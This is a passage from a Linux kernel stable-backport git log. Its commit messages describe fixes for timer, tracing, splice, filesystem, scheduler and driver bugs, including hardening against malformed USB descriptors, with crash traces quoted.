debug_check_no_locks_freed+0x290/0x290 [] snd_timer_s_function+0xb4/0x120 [] call_timer_fn+0x162/0x520 [] ? call_timer_fn+0xcd/0x520 [] ? snd_timer_interrupt+0xec0/0xec0 .... It's the place where add_timer() checks the pending timer. It's clear that this may happen after the immediate restart without sync in our cases. So, the workaround here is just to use mod_timer() instead of add_timer(). This looks like a band-aid fix, but it's a right move, as snd_timer_interrupt() takes care of the continuous rearm of timer. Reported-by: Jiri Slaby Cc: Signed-off-by: Takashi Iwai Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 4c9bb0be33b50deffc2dde8463ecce82f35b49fc Author: Helge Deller Date: Fri Apr 8 18:18:48 2016 +0200 parisc: Fix kernel crash with reversed copy_from_user() commit ef72f3110d8b19f4c098a0bff7ed7d11945e70c6 upstream. The kernel module testcase (lib/test_user_copy.c) exhibited a kernel crash on parisc if the parameters for copy_from_user were reversed ("illegal reversed copy_to_user" testcase). Fix this potential crash by checking the fault handler if the faulting address is in the exception table. Signed-off-by: Helge Deller Cc: Kees Cook Signed-off-by: Greg Kroah-Hartman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 4fa1ddaf83323ab64fbb3464f282e197771807a5 Author: Helge Deller Date: Fri Apr 8 18:11:33 2016 +0200 parisc: Avoid function pointers for kernel exception routines commit e3893027a300927049efc1572f852201eb785142 upstream. We want to avoid the kernel module loader to create function pointers for the kernel fixup routines of get_user() and put_user(). Changing the external reference from function type to int type fixes this. This unbreaks exception handling for get_user() and put_user() when called from a kernel module. Signed-off-by: Helge Deller Cc: stable@vger.kernel.org Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit d2c6737234ee6eb7391438e7a3b8c028fdd365d9 Author: Guenter Roeck Date: Sat Mar 26 12:28:05 2016 -0700 hwmon: (max1111) Return -ENODEV from max1111_read_channel if not instantiated commit 3c2e2266a5bd2d1cef258e6e54dca1d99946379f upstream. arm:pxa_defconfig can result in the following crash if the max1111 driver is not instantiated. Unhandled fault: page domain fault (0x01b) at 0x00000000 pgd = c0004000 [00000000] *pgd=00000000 Internal error: : 1b [#1] PREEMPT ARM Modules linked in: CPU: 0 PID: 300 Comm: kworker/0:1 Not tainted 4.5.0-01301-g1701f680407c #10 Hardware name: SHARP Akita Workqueue: events sharpsl_charge_toggle task: c390a000 ti: c391e000 task.ti: c391e000 PC is at max1111_read_channel+0x20/0x30 LR is at sharpsl_pm_pxa_read_max1111+0x2c/0x3c pc : [] lr : [] psr: 20000013 ... [] (max1111_read_channel) from [] (sharpsl_pm_pxa_read_max1111+0x2c/0x3c) [] (sharpsl_pm_pxa_read_max1111) from [] (spitzpm_read_devdata+0x5c/0xc4) [] (spitzpm_read_devdata) from [] (sharpsl_check_battery_temp+0x78/0x110) [] (sharpsl_check_battery_temp) from [] (sharpsl_charge_toggle+0x48/0x110) [] (sharpsl_charge_toggle) from [] (process_one_work+0x14c/0x48c) [] (process_one_work) from [] (worker_thread+0x3c/0x5d4) [] (worker_thread) from [] (kthread+0xd0/0xec) [] (kthread) from [] (ret_from_fork+0x14/0x24) This can occur because the SPI controller driver (SPI_PXA2XX) is built as module and thus not necessarily loaded. While building SPI_PXA2XX into the kernel would make the problem disappear, it appears prudent to ensure that the driver is instantiated before accessing its data structures. Cc: Arnd Bergmann Cc: stable@vger.kernel.org Signed-off-by: Guenter Roeck Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit d2b8623358727aa0d30672799651638572e6622e Author: Andi Kleen Date: Tue Mar 1 14:25:24 2016 -0800 perf/x86/intel: Fix PEBS data source interpretation on Nehalem/Westmere commit e17dc65328057c00db7e1bfea249c8771a78b30b upstream. Jiri reported some time ago that some entries in the PEBS data source table in perf do not agree with the SDM. We investigated and the bits changed for Sandy Bridge, but the SDM was not updated. perf already implements the bits correctly for Sandy Bridge and later. This patch patches it up for Nehalem and Westmere. Signed-off-by: Andi Kleen Signed-off-by: Peter Zijlstra (Intel) Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Thomas Gleixner Cc: jolsa@kernel.org Link: http://lkml.kernel.org/r/1456871124-15985-1-git-send-email-andi@firstfloor.org Signed-off-by: Ingo Molnar Signed-off-by: Greg Kroah-Hartman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 05467270e69942e157079dc132ae61ca6fc2361c Author: Thomas Gleixner Date: Fri Mar 4 15:59:42 2016 +0100 sched/cputime: Fix steal time accounting vs. CPU hotplug commit e9532e69b8d1d1284e8ecf8d2586de34aec61244 upstream. On CPU hotplug the steal time accounting can keep a stale rq->prev_steal_time value over CPU down and up. So after the CPU comes up again the delta calculation in steal_account_process_tick() wreckages itself due to the unsigned math: u64 steal = paravirt_steal_clock(smp_processor_id()); steal -= this_rq()->prev_steal_time; So if steal is smaller than rq->prev_steal_time we end up with an insane large value which then gets added to rq->prev_steal_time, resulting in a permanent wreckage of the accounting. As a consequence the per CPU stats in /proc/stat become stale. Nice trick to tell the world how idle the system is (100%) while the CPU is 100% busy running tasks. Though we prefer realistic numbers. None of the accounting values which use a previous value to account for fractions is reset at CPU hotplug time. update_rq_clock_task() has a sanity check for prev_irq_time and prev_steal_time_rq, but that sanity check solely deals with clock warps and limits the /proc/stat visible wreckage. The prev_time values are still wrong. Solution is simple: Reset rq->prev_*_time when the CPU is plugged in again. Signed-off-by: Thomas Gleixner Acked-by: Rik van Riel Cc: Cc: Frederic Weisbecker Cc: Glauber Costa Cc: Linus Torvalds Cc: Peter Zijlstra Fixes: commit 095c0aa83e52 "sched: adjust scheduler cpu power for stolen time" Fixes: commit aa483808516c "sched: Remove irq time from available CPU power" Fixes: commit e6e6685accfa "KVM guest: Steal time accounting" Link: http://lkml.kernel.org/r/alpine.DEB.2.11.1603041539490.3686@nanos Signed-off-by: Ingo Molnar Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 02c139fc40f6f74c0fa8afe538e6330c6c8706d3 Author: Aaro Koskinen Date: Sat Feb 20 22:27:48 2016 +0200 mtd: onenand: fix deadlock in onenand_block_markbad commit 5e64c29e98bfbba1b527b0a164f9493f3db9e8cb upstream. Commit 5942ddbc500d ("mtd: introduce mtd_block_markbad interface") incorrectly changed onenand_block_markbad() to call mtd_block_markbad instead of onenand_chip's block_markbad function. As a result the function will now recurse and deadlock. Fix by reverting the change. Fixes: 5942ddbc500d ("mtd: introduce mtd_block_markbad interface") Signed-off-by: Aaro Koskinen Acked-by: Artem Bityutskiy Cc: Signed-off-by: Brian Norris Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 236c803f1c85f02cb9edaf873a53a3644d374417 Author: Joseph Qi Date: Fri Mar 25 14:21:29 2016 -0700 ocfs2/dlm: fix BUG in dlm_move_lockres_to_recovery_list commit be12b299a83fc807bbaccd2bcb8ec50cbb0cb55c upstream. When master handles convert request, it queues ast first and then returns status. This may happen that the ast is sent before the request status because the above two messages are sent by two threads. And right after the ast is sent, if master down, it may trigger BUG in dlm_move_lockres_to_recovery_list in the requested node because ast handler moves it to grant list without clear lock->convert_pending. So remove BUG_ON statement and check if the ast is processed in dlmconvert_remote. Signed-off-by: Joseph Qi Reported-by: Yiwen Jiang Cc: Junxiao Bi Cc: Mark Fasheh Cc: Joel Becker Cc: Tariq Saeed Cc: Junxiao Bi Cc: Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit f5b7f4a51d6c06f859a9fa4b05a63e53a603f2bd Author: Joseph Qi Date: Fri Mar 25 14:21:26 2016 -0700 ocfs2/dlm: fix race between convert and recovery commit ac7cf246dfdbec3d8fed296c7bf30e16f5099dac upstream. There is a race window between dlmconvert_remote and dlm_move_lockres_to_recovery_list, which will cause a lock with OCFS2_LOCK_BUSY in grant list, thus system hangs. dlmconvert_remote { spin_lock(&res->spinlock); list_move_tail(&lock->list, &res->converting); lock->convert_pending = 1; spin_unlock(&res->spinlock); status = dlm_send_remote_convert_request(); >>>>>> race window, master has queued ast and return DLM_NORMAL, and then down before sending ast. this node detects master down and calls dlm_move_lockres_to_recovery_list, which will revert the lock to grant list. Then OCFS2_LOCK_BUSY won't be cleared as new master won't send ast any more because it thinks already be authorized. spin_lock(&res->spinlock); lock->convert_pending = 0; if (status != DLM_NORMAL) dlm_revert_pending_convert(res, lock); spin_unlock(&res->spinlock); } In this case, check if res->state has DLM_LOCK_RES_RECOVERING bit set (res is still in recovering) or res master changed (new master has finished recovery), reset the status to DLM_RECOVERING, then it will retry convert. Signed-off-by: Joseph Qi Reported-by: Yiwen Jiang Reviewed-by: Junxiao Bi Cc: Mark Fasheh Cc: Joel Becker Cc: Tariq Saeed Cc: Junxiao Bi Cc: Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 10a69820d6d65fa6f049709d291756d5bdb30cc5 Author: Vladis Dronov Date: Wed Mar 23 11:53:46 2016 -0700 Input: ati_remote2 - fix crashes on detecting device with invalid descriptor commit 950336ba3e4a1ffd2ca60d29f6ef386dd2c7351d upstream. The ati_remote2 driver expects at least two interfaces with one endpoint each. If given malicious descriptor that specify one interface or no endpoints, it will crash in the probe function. Ensure there is at least two interfaces and one endpoint for each interface before using it. The full disclosure: http://seclists.org/bugtraq/2016/Mar/90 Reported-by: Ralf Spenneberg Signed-off-by: Vladis Dronov Cc: stable@vger.kernel.org Signed-off-by: Dmitry Torokhov Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 9b91d602f0504a7cc08d636692699b0b7ced25fe Author: Oliver Neukum Date: Thu Mar 17 14:00:17 2016 -0700 Input: ims-pcu - sanity check against missing interfaces commit a0ad220c96692eda76b2e3fd7279f3dcd1d8a8ff upstream. A malicious device missing interface can make the driver oops. Add sanity checking. Signed-off-by: Oliver Neukum CC: stable@vger.kernel.org Signed-off-by: Dmitry Torokhov Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit a77fb71b8ee628c3a63da668883396ad93369aa5 Author: Julia Lawall Date: Thu Feb 18 00:16:14 2016 +0100 scripts/coccinelle: modernize & commit 1b669e713f277a4d4b3cec84e13d16544ac8286d upstream. & is no longer allowed in column 0, since Coccinelle 1.0.4. Signed-off-by: Julia Lawall Tested-by: Nishanth Menon Cc: stable@vger.kernel.org Signed-off-by: Michal Marek Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 17a5c7f822c6f23a5be06e75c070336921714af6 Author: Steven Rostedt (Red Hat) Date: Tue Mar 22 17:30:58 2016 -0400 tracing: Fix trace_printk() to print when not using bprintk() commit 3debb0a9ddb16526de8b456491b7db60114f7b5e upstream. The trace_printk() code will allocate extra buffers if the compile detects that a trace_printk() is used. To do this, the format of the trace_printk() is saved to the __trace_printk_fmt section, and if that section is bigger than zero, the buffers are allocated (along with a message that this has happened). If trace_printk() uses a format that is not a constant, and thus something not guaranteed to be around when the print happens, the compiler optimizes the fmt out, as it is not used, and the __trace_printk_fmt section is not filled. This means the kernel will not allocate the special buffers needed for the trace_printk() and the trace_printk() will not write anything to the tracing buffer. Adding a "__used" to the variable in the __trace_printk_fmt section will keep it around, even though it is set to NULL. This will keep the string from being printed in the debugfs/tracing/printk_formats section as it is not needed. Reported-by: Vlastimil Babka Fixes: 07d777fe8c398 "tracing: Add percpu buffers for trace_printk()" Cc: stable@vger.kernel.org # v3.5+ Signed-off-by: Steven Rostedt Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit eda62360c650194c236a9c4a665c857f20065b21 Author: Steven Rostedt (Red Hat) Date: Fri Mar 18 15:46:48 2016 -0400 tracing: Fix crash from reading trace_pipe with sendfile commit a29054d9478d0435ab01b7544da4f674ab13f533 upstream. If tracing contains data and the trace_pipe file is read with sendfile(), then it can trigger a NULL pointer dereference and various BUG_ON within the VM code. There's a patch to fix this in the splice_to_pipe() code, but it's also a good idea to not let that happen from trace_pipe either. Link: http://lkml.kernel.org/r/1457641146-9068-1-git-send-email-rabin@rab.in Cc: stable@vger.kernel.org # 2.6.30+ Reported-by: Rabin Vincent Signed-off-by: Steven Rostedt Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 9bb104962626f7a609c1a89fecc12ccab2a6146c Author: Steven Rostedt (Red Hat) Date: Fri Mar 18 12:27:43 2016 -0400 tracing: Have preempt(irqs)off trace preempt disabled functions commit cb86e05390debcc084cfdb0a71ed4c5dbbec517d upstream. Joel Fernandes reported that the function tracing of preempt disabled sections was not being reported when running either the preemptirqsoff or preemptoff tracers. This was due to the fact that the function tracer callback for those tracers checked if irqs were disabled before tracing. But this fails when we want to trace preempt off locations as well. Joel explained that he wanted to see funcitons where interrupts are enabled but preemption was disabled. The expected output he wanted: <...>-2265 1d.h1 3419us : preempt_count_sub <-irq_exit <...>-2265 1d..1 3419us : __do_softirq <-irq_exit <...>-2265 1d..1 3419us : msecs_to_jiffies <-__do_softirq <...>-2265 1d..1 3420us : irqtime_account_irq <-__do_softirq <...>-2265 1d..1 3420us : __local_bh_disable_ip <-__do_softirq <...>-2265 1..s1 3421us : run_timer_softirq <-__do_softirq <...>-2265 1..s1 3421us : hrtimer_run_pending <-run_timer_softirq <...>-2265 1..s1 3421us : _raw_spin_lock_irq <-run_timer_softirq <...>-2265 1d.s1 3422us : preempt_count_add <-_raw_spin_lock_irq <...>-2265 1d.s2 3422us : _raw_spin_unlock_irq <-run_timer_softirq <...>-2265 1..s2 3422us : preempt_count_sub <-_raw_spin_unlock_irq <...>-2265 1..s1 3423us : rcu_bh_qs <-__do_softirq <...>-2265 1d.s1 3423us : irqtime_account_irq <-__do_softirq <...>-2265 1d.s1 3423us : __local_bh_enable <-__do_softirq There's a comment saying that the irq disabled check is because there's a possible race that tracing_cpu may be set when the function is executed. But I don't remember that race. For now, I added a check for preemption being enabled too to not record the function, as there would be no race if that was the case. I need to re-investigate this, as I'm now thinking that the tracing_cpu will always be correct. But no harm in keeping the check for now, except for the slight performance hit. Link: http://lkml.kernel.org/r/1457770386-88717-1-git-send-email-agnel.joel@gmail.com Fixes: 5e6d2b9cfa3a "tracing: Use one prologue for the preempt irqs off tracer function tracers" Cc: stable@vget.kernel.org # 2.6.37+ Reported-by: Joel Fernandes Signed-off-by: Steven Rostedt Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit ac6d9dc3fa21c9b8adfd741b512eef6620069c20 Author: Mario Kleiner Date: Sun Mar 6 02:39:53 2016 +0100 drm/radeon: Don't drop DP 2.7 Ghz link setup on some cards. commit 459ee1c3fd097ab56ababd8ff4bb7ef6a792de33 upstream. As observed on Apple iMac10,1, DCE-3.2, RV-730, link rate of 2.7 Ghz is not selected, because the args.v1.ucConfig flag setting for 2.7 Ghz gets overwritten by a following assignment of the transmitter to use. Move link rate setup a few lines down to fix this. In practice this didn't have any positive or negative effect on display setup on the tested iMac10,1 so i don't know if backporting to stable makes sense or not. Signed-off-by: Mario Kleiner Signed-off-by: Alex Deucher Cc: stable@vger.kernel.org Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit fc6ec1b8f27d3d50d041264a23cce01268adc8a4 Author: Gabriel Krisman Bertazi Date: Thu Feb 25 13:54:20 2016 -0300 ipr: Fix regression when loading firmware commit 21b81716c6bff24cda52dc75588455f879ddbfe9 upstream. Commit d63c7dd5bcb9 ("ipr: Fix out-of-bounds null overwrite") removed the end of line handling when storing the update_fw sysfs attribute. This changed the userpace API because it started refusing writes terminated by a line feed, which broke the update tools we already have. This patch re-adds that handling, so both a write terminated by a line feed or not can make it through with the update. Fixes: d63c7dd5bcb9 ("ipr: Fix out-of-bounds null overwrite") Signed-off-by: Gabriel Krisman Bertazi Cc: Insu Yun Acked-by: Brian King Signed-off-by: Martin K. Petersen Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 044ac451564b4b7a15fc0f2a7d1d40711a7f8853 Author: Insu Yun Date: Wed Jan 6 12:44:01 2016 -0500 ipr: Fix out-of-bounds null overwrite commit d63c7dd5bcb9441af0526d370c43a65ca2c980d9 upstream. Return value of snprintf is not bound by size value, 2nd argument. (https://www.kernel.org/doc/htmldocs/kernel-api/API-snprintf.html). Return value is number of printed chars, can be larger than 2nd argument. Therefore, it can write null byte out of bounds ofbuffer. Since snprintf puts null, it does not need to put additional null byte. Signed-off-by: Insu Yun Reviewed-by: Shane Seymour Signed-off-by: Martin K. Petersen Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit f7396309ad776fdaae5d657a7205bbe8e9ed2da6 Author: Aurelien Jacquiot Date: Tue Mar 22 14:25:42 2016 -0700 rapidio/rionet: fix deadlock on SMP commit 36915976eca58f2eefa040ba8f9939672564df61 upstream. Fix deadlocking during concurrent receive and transmit operations on SMP platforms caused by the use of incorrect lock: on transmit 'tx_lock' spinlock should be used instead of 'lock' which is used for receive operation. This fix is applicable to kernel versions starting from v2.15. Signed-off-by: Aurelien Jacquiot Signed-off-by: Alexandre Bounine Cc: Matt Porter Cc: Andre van Herk Cc: Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 2d86cc17bce696ff3820fbf69fe52aa223bafec1 Author: Jes Sorensen Date: Tue Feb 16 16:44:24 2016 -0500 md/raid5: Compare apples to apples (or sectors to sectors) commit e7597e69dec59b65c5525db1626b9d34afdfa678 upstream. 'max_discard_sectors' is in sectors, while 'stripe' is in bytes. This fixes the problem where DISCARD would get disabled on some larger RAID5 configurations (6 or more drives in my testing), while it worked as expected with smaller configurations. Fixes: 620125f2bf8 ("MD: raid5 trim support") Cc: stable@vger.kernel.org v3.7+ Signed-off-by: Jes Sorensen Signed-off-by: Shaohua Li Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 9d5b6833e3c6a89d28b26675f53067feff40bd6b Author: Max Filippov Date: Thu Mar 3 18:34:29 2016 +0300 xtensa: clear all DBREAKC registers on start commit 7de7ac785ae18a2cdc78d7560f48e3213d9ea0ab upstream. There are XCHAL_NUM_DBREAK registers, clear them all. This also fixes cryptic assembler error message with binutils 2.25 when XCHAL_NUM_DBREAK is 0: as: out of memory allocating 18446744073709551575 bytes after a total of 495616 bytes Cc: stable@vger.kernel.org Signed-off-by: Max Filippov Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit b9aa5aeddd9f3be84e1ddc4c193ad56837cb2799 Author: Max Filippov Date: Tue Feb 9 01:02:38 2016 +0300 xtensa: ISS: don't hang if stdin EOF is reached commit 362014c8d9d51d504c167c44ac280169457732be upstream. Simulator stdin may be connected to a file, when its end is reached kernel hangs in infinite loop inside rs_poll, because simc_poll always signals that descriptor 0 is readable and simc_read always returns 0. Check simc_read return value and exit loop if it's not positive. Also don't rewind polling timer if it's zero. Cc: stable@vger.kernel.org Signed-off-by: Max Filippov Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 4a89ba39b4502222c62295e7f818c5e50fdbc5a0 Author: Rabin Vincent Date: Thu Mar 10 21:19:06 2016 +0100 splice: handle zero nr_pages in splice_to_pipe() commit d6785d9152147596f60234157da2b02540c3e60f upstream. Running the following command: busybox cat /sys/kernel/debug/tracing/trace_pipe > /dev/null with any tracing enabled pretty very quickly leads to various NULL pointer dereferences and VM BUG_ON()s, such as these: BUG: unable to handle kernel NULL pointer dereference at 0000000000000020 IP: [] generic_pipe_buf_release+0xc/0x40 Call Trace: [] splice_direct_to_actor+0x143/0x1e0 [] ? generic_pipe_buf_nosteal+0x10/0x10 [] do_splice_direct+0x8f/0xb0 [] do_sendfile+0x199/0x380 [] SyS_sendfile64+0x90/0xa0 [] entry_SYSCALL_64_fastpath+0x12/0x6d page dumped because: VM_BUG_ON_PAGE(atomic_read(&page->_count) == 0) kernel BUG at include/linux/mm.h:367! invalid opcode: 0000 [#1] PREEMPT SMP DEBUG_PAGEALLOC RIP: [] generic_pipe_buf_release+0x3c/0x40 Call Trace: [] splice_direct_to_actor+0x143/0x1e0 [] ? generic_pipe_buf_nosteal+0x10/0x10 [] do_splice_direct+0x8f/0xb0 [] do_sendfile+0x199/0x380 [] SyS_sendfile64+0x90/0xa0 [] tracesys_phase2+0x84/0x89 (busybox's cat uses sendfile(2), unlike the coreutils version) This is because tracing_splice_read_pipe() can call splice_to_pipe() with spd->nr_pages == 0. spd_pages underflows in splice_to_pipe() and we fill the page pointers and the other fields of the pipe_buffers with garbage. All other callers of splice_to_pipe() avoid calling it when nr_pages == 0, and we could make tracing_splice_read_pipe() do that too, but it seems reasonable to have splice_to_page() handle this condition gracefully. Cc: stable@vger.kernel.org Signed-off-by: Rabin Vincent Reviewed-by: Christoph Hellwig Signed-off-by: Al Viro Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 35a7a5948e781ff94407360b26f7bd0022755ff2 Author: Michael S. Tsirkin Date: Sun Feb 28 17:44:09 2016 +0200 watchdog: rc32434_wdt: fix ioctl error handling commit 10e7ac22cdd4d211cef99afcb9371b70cb175be6 upstream. Calling return copy_to_user(...) in an ioctl will not do the right thing if there's a pagefault: copy_to_user returns the number of bytes not copied in this case. Fix up watchdog/rc32434_wdt to do return copy_to_user(...)) ? -EFAULT : 0; instead. Cc: stable@vger.kernel.org Signed-off-by: Michael S. Tsirkin Signed-off-by: Guenter Roeck Signed-off-by: Wim Van Sebroeck Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 07e440b5a0cc98cf7a0bad95a0a5b018dc228d4a Author: Eric Wheeler Date: Mon Mar 7 15:17:50 2016 -0800 bcache: fix cache_set_flush() NULL pointer dereference on OOM commit f8b11260a445169989d01df75d35af0f56178f95 upstream. When bch_cache_set_alloc() fails to kzalloc the cache_set, the asyncronous closure handling tries to dereference a cache_set that hadn't yet been allocated inside of cache_set_flush() which is called by __cache_set_unregister() during cleanup. This appears to happen only during an OOM condition on bcache_register. Signed-off-by: Eric Wheeler Signed-off-by: Greg Kroah-Hartman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit bb1f1218c192f08eddc9887a2c0dc4421a5d9690 Author: OGAWA Hirofumi Date: Wed Mar 9 23:47:25 2016 -0500 jbd2: fix FS corruption possibility in jbd2_journal_destroy() on umount path commit c0a2ad9b50dd80eeccd73d9ff962234590d5ec93 upstream. On umount path, jbd2_journal_destroy() writes latest transaction ID (->j_tail_sequence) to be used at next mount. The bug is that ->j_tail_sequence is not holding latest transaction ID in some cases. So, at next mount, there is chance to conflict with remaining (not overwritten yet) transactions. mount (id=10) write transaction (id=11) write transaction (id=12) umount (id=10) <= the bug doesn't write latest ID mount (id=10) write transaction (id=11) crash mount [recovery process] transaction (id=11) transaction (id=12) <= valid transaction ID, but old commit must not replay Like above, this bug become the cause of recovery failure, or FS corruption. So why ->j_tail_sequence doesn't point latest ID? Because if checkpoint transactions was reclaimed by memory pressure (i.e. bdev_try_to_free_page()), then ->j_tail_sequence is not updated. (And another case is, __jbd2_journal_clean_checkpoint_list() is called with empty transaction.) So in above cases, ->j_tail_sequence is not pointing latest transaction ID at umount path. Plus, REQ_FLUSH for checkpoint is not done too. So, to fix this problem with minimum changes, this patch updates ->j_tail_sequence, and issue REQ_FLUSH. (With more complex changes, some optimizations would be possible to avoid unnecessary REQ_FLUSH for example though.) BTW, journal->j_tail_sequence = ++journal->j_transaction_sequence; Increment of ->j_transaction_sequence seems to be unnecessary, but ext3 does this. Signed-off-by: OGAWA Hirofumi Signed-off-by: Theodore Ts'o Cc: stable@vger.kernel.org Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit bacbc9387c223144dbe4bf2940408c3b69b69e48 Author: Vittorio Gambaletta (VittGam) Date: Sun Mar 13 22:19:34 2016 +0100 ALSA: intel8x0: Add clock quirk entry for AD1981B on IBM ThinkPad X41. commit 4061db03dd71d195b9973ee466f6ed32f6a3fc16 upstream. The clock measurement on the AC'97 audio card found in the IBM ThinkPad X41 will often fail, so add a quirk entry to fix it. Bugzilla: https://bugzilla.redhat.com/show_bug.cgi?id=441087 Cc: Signed-off-by: Vittorio Gambaletta Signed-off-by: Takashi Iwai Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 34527ae198d94e39a1cd02736641d5b33f0c2895 Author: Tiffany Lin Date: Tue Jan 19 05:56:50 2016 -0200 media: v4l2-compat-ioctl32: fix missing length copy in put_v4l2_buffer32 commit 7df5ab8774aa383c6d2bff00688d004585d96dfd upstream. In v4l2-compliance utility, test QUERYBUF required correct length value to go through each planar to check planar's length in multi-planar buffer type Signed-off-by: Tiffany Lin Reviewed-by: Laurent Pinchart Signed-off-by: Hans Verkuil Cc: # for v3.7 and up Signed-off-by: Mauro Carvalho Chehab Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit ba2a39d822d1e4340b3e8d5c887e6c81b5cfaefc Author: Hans de Goede Date: Sun Feb 7 09:24:29 2016 -0200 bttv: Width must be a multiple of 16 when capturing planar formats commit 5c915c68763889f0183a1cc61c84bb228b60124a upstream. On my bttv card "Hauppauge WinTV [card=10]" capturing in YV12 fmt at max size results in a solid green rectangle being captured (all colors 0 in YUV). This turns out to be caused by max-width (924) not being a multiple of 16. We've likely never hit this problem before since normally xawtv / tvtime, etc. will prefer packed pixel formats. But when using a video card which is using xf86-video-modesetting + glamor, only planar XVideo fmts are available, and xawtv will chose a matching capture format to avoid needing to do conversion, triggering the solid green window problem. Cc: stable@vger.kernel.org Signed-off-by: Hans de Goede Acked-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 581625f325f85c870d5bac488f666619135e07cf Author: Sebastian Frias Date: Fri Dec 18 17:40:05 2015 +0100 8250: use callbacks to access UART_DLL/UART_DLM commit 0b41ce991052022c030fd868e03877700220b090 upstream. Some UART HW has a single register combining UART_DLL/UART_DLM (this was probably forgotten in the change that introduced the callbacks, commit b32b19b8ffc05cbd3bf91c65e205f6a912ca15d9) Fixes: b32b19b8ffc0 ("[SERIAL] 8250: set divisor register correctly ...") Signed-off-by: Sebastian Frias Reviewed-by: Peter Hurley Signed-off-by: Greg Kroah-Hartman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit be560aff5f4f3a643b6409ae811833c0625d3138 Author: Peter Hurley Date: Sat Jan 9 17:48:45 2016 -0800 net: irda: Fix use-after-free in irtty_open() commit 401879c57f01cbf2da204ad2e8db910525c6dbea upstream. The N_IRDA line discipline may access the previous line discipline's closed and already-fre private data on open [1]. The tty->disc_data field _never_ refers to valid data on entry to the line discipline's open() method. Rather, the ldisc is expected to initialize that field for its own use for the lifetime of the instance (ie. from open() to close() only). [1] ================================================================== BUG: KASAN: use-after-free in irtty_open+0x422/0x550 at addr ffff8800331dd068 Read of size 4 by task a.out/13960 ============================================================================= BUG kmalloc-512 (Tainted: G B ): kasan: bad access detected ----------------------------------------------------------------------------- ... Call Trace: [] __asan_report_load4_noabort+0x3e/0x40 mm/kasan/report.c:279 [] irtty_open+0x422/0x550 drivers/net/irda/irtty-sir.c:436 [] tty_ldisc_open.isra.2+0x60/0xa0 drivers/tty/tty_ldisc.c:447 [] tty_set_ldisc+0x1a0/0x940 drivers/tty/tty_ldisc.c:567 [< inline >] tiocsetd drivers/tty/tty_io.c:2650 [] tty_ioctl+0xace/0x1fd0 drivers/tty/tty_io.c:2883 [< inline >] vfs_ioctl fs/ioctl.c:43 [] do_vfs_ioctl+0x57c/0xe60 fs/ioctl.c:607 [< inline >] SYSC_ioctl fs/ioctl.c:622 [] SyS_ioctl+0x74/0x80 fs/ioctl.c:613 [] entry_SYSCALL_64_fastpath+0x16/0x7a Reported-and-tested-by: Dmitry Vyukov Cc: Signed-off-by: Peter Hurley Signed-off-by: Greg Kroah-Hartman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 51704d80a6d63585a1b144193a23d6d171f549fa Author: Josh Boyer Date: Mon Mar 14 09:33:40 2016 -0700 Input: powermate - fix oops with malicious USB descriptors commit 9c6ba456711687b794dcf285856fc14e2c76074f upstream. The powermate driver expects at least one valid USB endpoint in its probe function. If given malicious descriptors that specify 0 for the number of endpoints, it will crash. Validate the number of endpoints on the interface before using them. The full report for this issue can be found here: http://seclists.org/bugtraq/2016/Mar/85 Reported-by: Ralf Spenneberg Cc: stable Signed-off-by: Josh Boyer Signed-off-by: Dmitry Torokhov Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit eb54f795a9bad78dae61cf4d38b562ae32d4ae1f Author: Hans de Goede Date: Fri Jan 22 08:53:55 2016 -0200 pwc: Add USB id for Philips Spc880nc webcam commit 7445e45d19a09e5269dc85f17f9635be29d2f76c upstream. SPC 880NC PC camera discussions: http://www.pclinuxos.com/forum/index.php/topic,135688.0.html Cc: stable@vger.kernel.org Reported-by: Kikim Signed-off-by: Hans de Goede Signed-off-by: Mauro Carvalho Chehab Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 34495bd5a033a64acb121985e16123afe0c4495e Author: Bjørn Mork Date: Thu Apr 7 12:09:17 2016 +0200 USB: option: add "D-Link DWM-221 B1" device id commit d48d5691ebf88a15d95ba96486917ffc79256536 upstream. Thomas reports: "Windows: 00 diagnostics 01 modem 02 at-port 03 nmea 04 nic Linux: T: Bus=02 Lev=01 Prnt=01 Port=03 Cnt=01 Dev#= 4 Spd=480 MxCh= 0 D: Ver= 2.00 Cls=00(>ifc ) Sub=00 Prot=00 MxPS=64 #Cfgs= 1 P: Vendor=2001 ProdID=7e19 Rev=02.32 S: Manufacturer=Mobile Connect S: Product=Mobile Connect S: SerialNumber=0123456789ABCDEF C: #Ifs= 6 Cfg#= 1 Atr=a0 MxPwr=500mA I: If#= 0 Alt= 0 